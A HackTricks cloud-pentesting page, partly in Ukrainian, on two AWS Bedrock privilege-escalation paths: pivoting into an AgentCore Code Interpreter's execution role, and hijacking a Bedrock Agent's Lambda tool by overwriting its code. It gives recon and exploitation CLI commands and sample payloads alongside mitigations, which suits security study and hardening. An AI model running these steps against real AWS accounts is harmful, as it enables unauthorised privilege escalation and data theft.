AWS - Bedrock PrivEsc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter — це кероване середовище виконання. Custom Code Interpreters можуть бути налаштовані з executionRoleArn, який “provides permissions for the code interpreter to access AWS services”.
Якщо IAM principal з нижчими привілеями може start + invoke сесію Code Interpreter, яка налаштована з більш привілейованою execution role, викликаючий фактично може pivot у permissions execution role (lateral movement / privilege escalation залежно від scope ролі).
Note
Це зазвичай є misconfiguration / excessive permissions issue (надмірно широкі permissions для interpreter execution role та/або занадто широкі invoke access). AWS прямо попереджає уникати privilege escalation, забезпечуючи, щоб execution roles мали equal or fewer privileges, ніж identities, яким дозволено invoke.
Preconditions (common misconfiguration)
- Існує custom code interpreter з надмірно привілейованою execution role (наприклад, доступ до sensitive S3/Secrets/SSM або можливості на кшталт IAM-admin).
- User (developer/auditor/CI identity) має permissions на:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) User також може create interpreters:
bedrock-agentcore:CreateCodeInterpreter(дозволяє створити новий interpreter, налаштований з execution role, залежно від org guardrails).
Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Команда create-code-interpreter підтримує
--execution-role-arn, який визначає, які AWS permissions матиме interpreter.
Крок 1 - Start a session (це повертає sessionId, а не interactive shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Step 2 - Invoke code execution (Boto3 or signed HTTPS)
There is no interactive python shell from start-code-interpreter-session. Execution happens via InvokeCodeInterpreter.
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Якщо interpreter налаштовано з execution role, вивід sts:GetCallerIdentity() має відображати ідентичність цього role (а не low-priv caller), демонструючи pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Impact
- Lateral movement у будь-який AWS доступ, який має interpreter execution role.
- Privilege escalation якщо interpreter execution role має більше привілеїв, ніж caller.
- Складніше виявлення, якщо CloudTrail data events для interpreter invocations не увімкнені (invocations можуть не логуватися за замовчуванням, залежно від конфігурації).
Mitigations / Hardening
- Least privilege для interpreter
executionRoleArn(ставтеся до нього як до Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) і хто може start sessions. - Use SCPs to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
- Enable appropriate CloudTrail data events for AgentCore where applicable; alert on unexpected invocations and session creation.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Bedrock Agents can use Lambda-backed action groups as tools (external execution). If a principal can modify the code of a Lambda function used by an agent, and can then invoke the agent, they can execute attacker-controlled code under the Lambda execution role.
Note
This is a cross-service trust abuse (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
Preconditions (common misconfiguration)
- A Bedrock Agent exists with an action group backed by a Lambda function
- The attacker has:
lambda:UpdateFunctionCodebedrock:InvokeAgent- The Lambda execution role has broader permissions than the attacker
- The attacker can identify the Lambda used by the agent
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Inspect Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Експлуатація
Replace Lambda code:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Приклад payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Тригер через agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Impact
- Privilege escalation into Lambda execution role
- Data exfiltration from AWS services
- Cross-service abuse via trusted agent execution
Mitigations
- Restrict
lambda:UpdateFunctionCode - Use least-privilege Lambda roles
- Monitor Lambda code changes
- Audit Bedrock agent tool usage
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

